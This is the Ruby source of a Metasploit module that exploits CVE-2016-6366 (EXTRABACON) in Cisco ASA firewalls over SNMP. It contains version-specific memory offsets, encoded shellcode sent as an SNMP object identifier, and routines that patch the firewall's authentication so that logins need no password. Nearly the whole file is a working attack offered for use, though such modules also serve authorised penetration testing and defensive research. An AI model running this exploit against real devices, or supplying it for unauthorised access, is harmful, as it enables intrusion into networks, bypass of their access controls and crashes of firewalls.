##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::SNMPClient
  include Msf::Auxiliary::Cisco
  include Msf::Exploit::Deprecated
  moved_from 'auxiliary/admin/cisco/cisco_asa_extrabacon'

  def initialize
    super(
      'Name' => 'Cisco ASA Authentication Bypass (EXTRABACON)',
      'Description' => %q{
          This module patches the authentication functions of a Cisco ASA
          to allow uncredentialed logins. Uses improved shellcode for payload.
        },
      'Author' => [
        'Sean Dillon <sean.dillon@risksense.com>',
        'Zachary Harding <zachary.harding@risksense.com>',
        'Nate Caroe <nate.caroe@risksense.com>',
        'Dylan Davis <dylan.davis@risksense.com>',
        'William Webb <william_webb[at]rapid7.com>', # initial module and ASA hacking notes
        'Jeff Jarmoc <jjarmoc>', # minor improvements
        'Equation Group',
        'Shadow Brokers'
      ],
      'References' => [
        [ 'CVE', '2016-6366'],
        [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp'],
        [ 'URL', 'https://github.com/RiskSense-Ops/CVE-2016-6366'],
      ],
      'License' => MSF_LICENSE,
      'Actions' => [
        ['PASS_DISABLE', { 'Description' => 'Disable password authentication.' } ],
        ['PASS_ENABLE', { 'Description' => 'Enable password authentication.' } ]
      ],
      'DefaultAction' => 'PASS_DISABLE',
      'Notes' => {
        'AKA' => ['EXTRABACON']
      }
    )

    @offsets = version_offsets

    register_options([
      OptEnum.new('ASAVER', [ false, 'Target ASA version (default autodetect)', 'auto', ['auto'] + @offsets.keys]),
    ])

    deregister_options('VERSION')
    datastore['VERSION'] = '2c' # SNMP v. 2c required it seems
  end

  def version_offsets
    # Payload offsets for supported ASA versions.
    #     See https://github.com/RiskSense-Ops/CVE-2016-6366
    return {
      '9.2(4)13' => ['197.207.10.8', '70.97.40.9', '72', '0.16.185.9', '240.30.185.9', '85.49.192.137', '0.80.8.8', '240.95.8.8', '85.137.229.87'],
      '9.2(4)' => ['101.190.10.8', '54.209.39.9', '72', '0.48.184.9', '192.52.184.9', '85.49.192.137', '0.80.8.8', '0.91.8.8', '85.137.229.87'],
      '9.2(3)' => [
        '29.112.29.8', # jmp_esp_offset, 0
        '134.115.39.9', # saferet_offset, 1
        '72', # fix_ebp,        2
        '0.128.183.9', # pmcheck_bounds, 3
        '16.128.183.9', # pmcheck_offset, 4
        '85.49.192.137', # pmcheck_code,   5
        '0.80.8.8', # admauth_bounds, 6
        '64.90.8.8', # admauth_offset, 7
        '85.137.229.87'
      ], # admauth_code,   8
      '9.2(2)8' => ['21.187.10.8', '54.245.39.9', '72', '0.240.183.9', '16.252.183.9', '85.49.192.137', '0.80.8.8', '64.90.8.8', '85.137.229.87'],
      '9.2(1)' => ['197.180.10.8', '54.118.39.9', '72', '0.240.182.9', '16.252.182.9', '85.49.192.137', '0.80.8.8', '176.84.8.8', '85.137.229.87'],
      '9.1(1)4' => ['173.250.27.8', '134.177.3.9', '72', '0.112.127.9', '176.119.127.9', '85.49.192.137', '0.48.8.8', '96.49.8.8', '85.137.229.87'],
      '9.0(1)' => ['221.227.27.8', '134.13.3.9', '72', '0.176.126.9', '112.182.126.9', '85.49.192.137', '0.32.8.8', '240.45.8.8', '85.137.229.87'],
      '8.4(7)' => ['109.22.18.8', '70.254.226.8', '72', '0.144.87.9', '80.156.87.9', '85.49.192.137', '0.32.8.8', '0.34.8.8', '85.137.229.87'],
      '8.4(6)5' => ['125.63.32.8', '166.11.228.8', '72', '0.176.88.9', '96.186.88.9', '85.49.192.137', '0.32.8.8', '240.33.8.8', '85.137.229.87'],
      '8.4(4)9' => ['173.23.5.8', '166.113.226.8', '72', '0.144.86.9', '224.154.86.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],
      '8.4(4)5' => ['202.250.13.8', '246.48.226.8', '72', '0.64.86.9', '16.69.86.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],
      '8.4(4)3' => ['164.119.8.8', '102.0.226.8', '72', '0.240.85.9', '96.252.85.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],
      '8.4(4)1' => ['253.74.114.8', '150.236.225.8', '72', '0.192.85.9', '176.202.85.9', '85.49.192.137', '0.16.8.8', '176.27.8.8', '85.137.229.87'],
      '8.4(4)' => ['111.198.161.9', '181.105.226.8', '72', '0.192.85.9', '240.201.85.9', '85.49.192.137', '0.16.8.8', '176.27.8.8', '85.137.229.87'],
      '8.4(3)' => ['13.178.7.8', '150.219.224.8', '72', '0.192.84.9', '208.207.84.9', '85.49.192.137', '0.16.8.8', '208.23.8.8', '85.137.229.87'],
      '8.4(2)' => ['25.71.20.9', '230.222.223.8', '72', '0.128.83.9', '240.143.83.9', '85.49.192.137', '0.16.8.8', '224.19.8.8', '85.137.229.87'],
      '8.4(1)' => ['173.58.17.9', '6.12.219.8', '72', '0.240.72.9', '240.252.72.9', '85.49.192.137', '0.48.8.8', '144.56.8.8', '85.137.229.87'],
      '8.3(2)40' => ['169.151.13.8', '124.48.196.8', '88', '0.128.59.9', '48.137.59.9', '85.49.192.137', '0.224.6.8', '32.228.6.8', '85.137.229.87'],
      '8.3(2)39' => ['143.212.14.8', '124.48.196.8', '88', '0.128.59.9', '176.136.59.9', '85.49.192.137', '0.224.6.8', '32.228.6.8', '85.137.229.87'],
      '8.3(2)' => ['220.203.69.9', '252.36.195.8', '88', '0.80.54.9', '144.84.54.9', '85.49.192.137', '0.208.6.8', '16.222.6.8', '85.137.229.87'],
      # "8.3(2)-npe" => ["125.116.12.8", "76.34.195.8", "88", "0.80.54.9", "224.81.54.9", "85.49.192.137", "0.208.6.8", "16.222.6.8", "85.137.229.87"],
      '8.3(1)' => ['111.187.14.8', '140.140.194.8', '88', '0.112.53.9', '240.119.53.9', '85.49.192.137', '0.208.6.8', '48.221.6.8', '85.137.229.87'],
      '8.2(5)41' => ['77.90.18.8', '188.9.187.8', '88', '0.160.50.9', '16.168.50.9', '85.49.192.137', '0.240.6.8', '16.243.6.8', '85.137.229.87'],
      '8.2(5)33' => ['157.218.29.8', '236.190.186.8', '88', '0.80.50.9', '96.92.50.9', '85.49.192.137', '0.240.6.8', '192.242.6.8', '85.137.229.87'],
      '8.2(5)' => ['253.13.54.9', '156.229.185.8', '88', '0.16.48.9', '96.28.48.9', '85.49.192.137', '0.240.6.8', '64.242.6.8', '85.137.229.87'],
      '8.2(4)' => ['93.172.49.9', '236.91.185.8', '88', '0.176.43.9', '96.187.43.9', '85.49.192.137', '0.240.6.8', '16.242.6.8', '85.137.229.87'],
      '8.2(3)' => ['45.0.7.8', '252.42.185.8', '88', '0.96.43.9', '128.111.43.9', '85.49.192.137', '0.240.6.8', '144.241.6.8', '85.137.229.87'],
      '8.2(2)' => ['150.54.28.9', '124.0.184.8', '88', '0.224.41.9', '32.227.41.9', '85.49.192.137', '0.208.6.8', '64.221.6.8', '85.137.229.87'],
      '8.2(1)' => ['147.242.43.9', '108.154.181.8', '88', '0.0.36.9', '240.14.36.9', '85.49.192.137', '0.208.6.8', '16.215.6.8', '85.137.229.87'],
      '8.0(5)' => ['253.116.31.9', '204.64.171.8', '88', '0.32.24.9', '64.32.24.9', '85.49.192.137', '0.96.6.8', '128.107.6.8', '85.137.229.87'],
      '8.0(4)32' => ['157.6.31.9', '44.20.171.8', '88', '0.176.23.9', '0.176.23.9', '85.49.192.137', '0.96.6.8', '48.105.6.8', '85.137.229.87'],
      '8.0(4)' => ['109.188.26.9', '140.100.168.8', '88', '0.96.19.9', '128.101.19.9', '85.49.192.137', '0.96.6.8', '176.104.6.8', '85.137.229.87'],
      '8.0(3)6' => ['191.143.24.9', '28.158.161.8', '88', '0.0.11.9', '224.1.11.9', '85.49.192.137', '0.96.6.8', '112.101.6.8', '85.137.229.87'],
      '8.0(3)' => ['141.123.131.9', '156.138.160.8', '88', '0.128.9.9', '112.130.9.9', '85.49.192.137', '0.96.6.8', '176.96.6.8', '85.137.229.87'],
      '8.0(2)' => ['155.222.211.8', '44.103.159.8', '88', '0.224.6.9', '32.237.6.9', '85.49.192.137', '0.80.6.8', '48.90.6.8', '85.137.229.87']
    }
  end

  def check
    begin
      vers_string = retrieve_asa_version
    rescue ::StandardError
      print_error('Error: Unable to retrieve version information')
      return Exploit::CheckCode::Unknown
    end

    if @offsets[vers_string]
      print_good("Payload for Cisco ASA version #{vers_string} available!")
      return Exploit::CheckCode::Appears
    end

    print_warning("Received Cisco ASA version #{vers_string}, but no payload available")
    return Exploit::CheckCode::Detected
  end

  def build_payload(vers_string, mode)
    # adds offsets to the improved shellcode
    # https://github.com/RiskSense-Ops/CVE-2016-6366/blob/master/shellcode.nasm

    if mode == 'PASS_DISABLE'
      always_return_true = '49.192.64.195'
      pmcheck_bytes = always_return_true
      admauth_bytes = always_return_true
    else # PASS_ENABLE
      pmcheck_bytes = @offsets[vers_string][5]
      admauth_bytes = @offsets[vers_string][8]
    end

    preamble_snmp = ''
    preamble_snmp << '49.219.49.246.49.201.49.192.96.49.210.128.197.16.128.194.7.4.125.80.187.'
    preamble_snmp << @offsets[vers_string][3]
    preamble_snmp << '.205.128.88.187.'
    preamble_snmp << @offsets[vers_string][6]
    preamble_snmp << '.205.128.199.5.'
    preamble_snmp << @offsets[vers_string][4]
    preamble_snmp << '.'
    preamble_snmp << pmcheck_bytes
    preamble_snmp << '.199.5.'
    preamble_snmp << @offsets[vers_string][7]
    preamble_snmp << '.'
    preamble_snmp << admauth_bytes
    preamble_snmp << '.97.104.'
    preamble_snmp << @offsets[vers_string][1]
    preamble_snmp << '.128.195.16.191.11.15.15.15.137.229.131.197.'
    preamble_snmp << @offsets[vers_string][2]
    preamble_snmp << '.195'

    preamble_len = preamble_snmp.split('.').length
    preamble_snmp << '.144' * (82 - preamble_len)

    # cufwUrlfServerStatus
    head = '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5'
    head << '.9.95'

    finder_snmp = '139.124.36.20.139.7.255.224.144'

    overflow = [head, preamble_snmp, @offsets[vers_string][0], finder_snmp].join('.')
    return overflow
  end

  def run
    vers_string = retrieve_asa_version

    print_status("Building #{action.name} payload for version #{vers_string}...")
    overflow = build_payload(vers_string, action.name)
    payload = SNMP::ObjectId.new(overflow)

    print_status('Sending SNMP payload...')
    response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)])

    if response.varbind_list
      print_good('Clean return detected!')
      if action.name == 'PASS_DISABLE'
        print_warning("Don't forget to run PASS_ENABLE after logging in!")
        print_warning('  set ACTION PASS_ENABLE')
      end
    end
  rescue ::Rex::ConnectionError
    print_error('Connection Error: Is the target up?')
  rescue ::SNMP::RequestTimeout
    print_error('SNMP Error: Request Timeout, Cisco ASA may have crashed :/')
  rescue ::SNMP::UnsupportedVersion
    print_error('SNMP Error: Version 2c is not supported by target.')
  rescue ::NoMethodError
    print_error("Error: No payload available for version #{vers_string}")
  rescue ::Interrupt
    raise $ERROR_INFO
  rescue ::StandardError => e
    print_error("Error: #{e.class} #{e} #{e.backtrace}")
  ensure
    disconnect_snmp
  end

  def retrieve_asa_version
    return datastore['ASAVER'] unless (datastore['ASAVER'] == 'auto')

    vprint_status('Fingerprinting via SNMP...')

    asa_version_oid = '1.3.6.1.2.1.47.1.1.1.1.10.1'
    mib2_sysdescr_oid = '1.3.6.1.2.1.1.1.0'

    snmp = connect_snmp
    ver = snmp.get_value(asa_version_oid).to_s
    vprint_status("OID #{asa_version_oid} yields #{ver}")

    if (ver == 'noSuchInstance')
      # asa_version_snmp OID isn't available on some models, fallback to MIB2 SysDescr
      ver = snmp.get_value(mib2_sysdescr_oid).rpartition(' ').last
      vprint_status("OID #{mib2_sysdescr_oid} yields #{ver}")
    end

    ver
  end
end